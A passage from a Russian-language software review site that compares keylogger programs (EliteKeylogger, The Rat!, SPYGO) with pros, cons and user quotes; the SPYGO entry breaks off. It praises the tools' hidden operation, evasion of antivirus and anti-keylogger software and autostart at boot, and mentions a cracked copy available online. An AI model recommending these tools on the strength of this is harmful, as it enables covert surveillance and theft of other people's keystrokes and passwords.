  • Длительность работы (сбора информации) в бесплатной демонстрационной версии составляет 40 минут;
  • Платное распространение, хотя и более или менее приемлемая цена;
  • Достаточно большой вес программы.

Отзывы пользователей о данном приложении таковы: «Программа отличная. Молодцы программисты!».

EliteKeylogger

Платная программа с достаточно высокой ценой – 69 долларов. Действует на ПК полностью незаметно в режиме низкого уровня, потому почти полностью не поддается обнаружению.

Интересная и удобная особенность – автоматический запуск софта, происходящий одновременно с запуском самой системы.

Сложно обнаруживается или вовсе не обнаруживается даже специальными антикейлогерами.

  • Полностью срытое действие и сложность в обнаружении;
  • Формат работы типа низкоуровневого драйвера и автоматический запуск при загрузке системы;
  • Отслеживает также и нажатия не только основных, но и служебных клавиш на клавиатуре.
  • Достаточно сложная система установки программы на ПК;
  • Высокая стоимость программы, но в российском интернете можно найти старую взломанную версию;
  • Довольно сложная система индивидуальных настроек программы, которая, впрочем, оправдывает себя.

Что же говорят юзеры об этом софте? «Хорошая программа», «Немного не дотягивает до Jetlogger».

The Rat!

Довольно распространенная и популярная, функциональная утилита с платной лицензией.

Однако для частного использования предоставляется бесплатная демонстрационная версия ч ограниченным периодом действия.

Программа очень простая – написать такую же может любой продвинутый пользователь. Тем не менее, она полностью неуловима для антивирусов и специальных программ, обнаруживающих подобный софт.

  • Простота, функциональность и высокая стабильность работы;
  • Минимальный вес файла и место, занимаемое им на компьютере;
  • Достаточно много настроек.
  • Довольно неприятный дизайн, выполненный в черном, белом и красном цветах;
  • Функционал несколько уже, чем в программах, описанных до этого;
  • Неудобный просмотр журнала и вообще неудобный интерфейс и использование.

Пользователи говорят о данной программе следующее: «Работает стабильно, но простовата», «Программа хорошая, позволяет собирать данные незаметно».

SPYGO

Это принципиально новый кейлогер, предназначенный для работы на и разработанный российским программистом.



Предыдущая статья: Следующая статья:

© 2015 .
О сайте | Контакты
| Карта сайта